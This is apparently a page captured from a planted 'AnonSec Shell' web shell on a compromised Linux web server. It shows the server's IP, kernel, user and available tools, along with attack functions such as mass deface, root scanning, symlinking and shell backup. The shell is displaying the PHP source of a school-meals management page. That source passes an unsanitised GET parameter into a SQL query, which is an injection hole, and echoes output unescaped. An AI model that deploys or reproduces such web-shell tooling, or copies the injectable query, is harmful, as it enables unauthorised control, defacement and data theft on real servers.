AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/mnovaajuste2019/modulos/escola/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/mnovaajuste2019/modulos/escola/escola_prg_edt.php
<?php
    /**
     * Created by PhpStorm.
     * User: RalpAlves
     * Date: 04/03/15
     * Time: 14:02
     */
    
    include_once("../../includes/conexao.php");
    
    $cod_esc = $_GET['cod_escola'];
    $cod_prg = $_GET['cod_prg'];
    
    mysql_select_db($banco, $conexao);
    
    //Lista programas da escola
    $rsPrograma           = mysql_query("SELECT * from v_lista_prgrama_escola where esp_id = $cod_prg ");
    $rsPrograma_totalRows = mysql_num_rows($rsPrograma);
    $resulta              = mysql_fetch_array($rsPrograma);
    
    //tabelas auxiliares
    $rs_dis = mysql_query("SELECT * FROM distrito WHERE dis_ativo='1'");
    $rs_prg = mysql_query("SELECT * FROM programa WHERE prg_ativo='1'");
    $rs_rot = mysql_query("SELECT * FROM rotas WHERE rota_ativo='1'");
    $rs_tip = mysql_query("SELECT * FROM tipoescola");
?>
<head id="Head1">
    <meta charset="utf-8"/>
    <title>SGAE | Merenda</title>
    <link href="../../Styles/Site.css" rel="stylesheet" type="text/css"/>
    <link href="../../Styles/smoothness/jquery-ui-1.8.24.custom.css" rel="stylesheet" type="text/css"/>
    <script src="../../Scripts/jquery-1.8.2.js" type="text/javascript"></script>
    <script src="../../Scripts/jquery-1.8.2.min.js" type="text/javascript"></script>
    <link href="http://code.jquery.com/ui/1.10.1/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/>
    <link href="../../Styles/bootstrap.css" rel="stylesheet" type="text/css"/>
    <!--MOSTRAR / ESCONDER DIV-->
</head>

<!--
PROGRAMAS
-->
<form id="form1" name="form1" id="form_prg" method="post" action="escola_prg_crud.php?var_acao=editar">
    <div id="cad_prg" class="container">
        <div id="id_form_2" class="container">
            <div class="container label-primary cfb">
                <div class="col-md-2"><span style="font-size:20px;">&nbsp;Programa escolas | Edição</span></div>
            </div>
        </div>
        <!--PROGRAMAS-->
        <div id="id_cad_prg" class="container">
            <div class="col-xs-4">
                ID Escola
                <input type="text" name="txt_id_esc" class="form-control" id="txt_id_prg" readonly="readonly" value="<?php echo $resulta['esp_esc_id'] ?>">
            </div>
            <div class="col-xs-4">
                ID
                <input type="text" name="txt_id_prg" class="form-control" id="txt_id_prg" readonly="readonly" value="<?php echo $resulta['esp_id'] ?>">
            </div>
            <div class="col-xs-4">
                Programa
                <select name="txt_programa" class="form-control" autofocus id="txt_programa">
                    <?php while ($_prg = mysql_fetch_array($rs_prg)) {
                        if ($_prg['prg_id']==$resulta['esp_prg_id']) {
                            $selected = 'selected';
                        } else {
                            $selected = '';
                        } ?>
                        <option value="<?php echo $_prg['prg_id'] ?>"<?php echo $selected; ?>><?php echo utf8_encode($_prg['prg_programa']) ?></option>
                    <?php } ?>
                </select>
            </div>
            <div class="col-xs-4">
                Tipo Cardápio
                <select name="txt_cardapio" class="form-control" id="txt_cardapio">
                    <?php while ($_tip = mysql_fetch_array($rs_tip)) {
                        if ($_tip['tpe_id']==$resulta['esp_tpe_id']) {
                            $selected = 'selected';
                        } else {
                            $selected = '';
                        } ?>
                        <option
                                value="<?php echo $_tip['tpe_id'] ?>"<?php echo $selected; ?>><?php echo utf8_encode($_tip['tpe_tipoescola']) ?></option>
                    <?php } ?>
                </select>
            </div>
            <div class="col-xs-4">
                Percentual Adesão
                <input type="text" name="txt_adesao" class="form-control" id="txt_adesao" value="<?php echo $resulta['esp_adesao'] ?>">
            </div>
            <div class="col-xs-4">
                Qtd. alunos manhã
                <input type="text" name="txt_manha" class="form-control" id="txt_aluno_manha" value="<?php echo $resulta['esp_manha'] ?>">
            </div>
            <div class="col-xs-4">
                Qtd. alunos tarde
                <input type="text" name="txt_tarde" class="form-control" id="txt_aluno_tarde" value="<?php echo $resulta['esp_tarde'] ?>">
            </div>
            <div class="col-xs-4">
                Qtd. alunos noite
                <input type="text" name="txt_noite" class="form-control" id="txt_aluno_noite" value="<?php echo $resulta['esp_noite'] ?>">
            </div>
            <div class="col-xs-4">
                Qtd. alunos integral
                <input type="text" name="txt_integral" class="form-control" id="txt_aluno_integral" value="<?php echo $resulta['esp_integral'] ?>">
            </div>
            <div class="col-xs-4">
                Qtd. alunos ampliada
                <input type="text" name="txt_ampliada" class="form-control" id="txt_aluno_ampliada" value="<?php echo $resulta['esp_ampliada'] ?>">
            </div>


            <div class="col-xs-4">
                <br>
                <button id="id_bt_salvar" name="id_bt_salvar" class="">
                    <i class="fa fa-check" title="salvar"></i>Salvar
                </button>
            </div>
            <div class="col-xs-4">
                <br>
                <button id="id_bt_cancelar" name="id_bt_cancelar" class="" onclick="window.close()">
                    <i class="fa fa-arrow-left" title="Voltar"></i>Fechar
                </button>
            </div>
        </div>
    </div>
</form>
</html>

Anon7 - 2022
AnonSec Team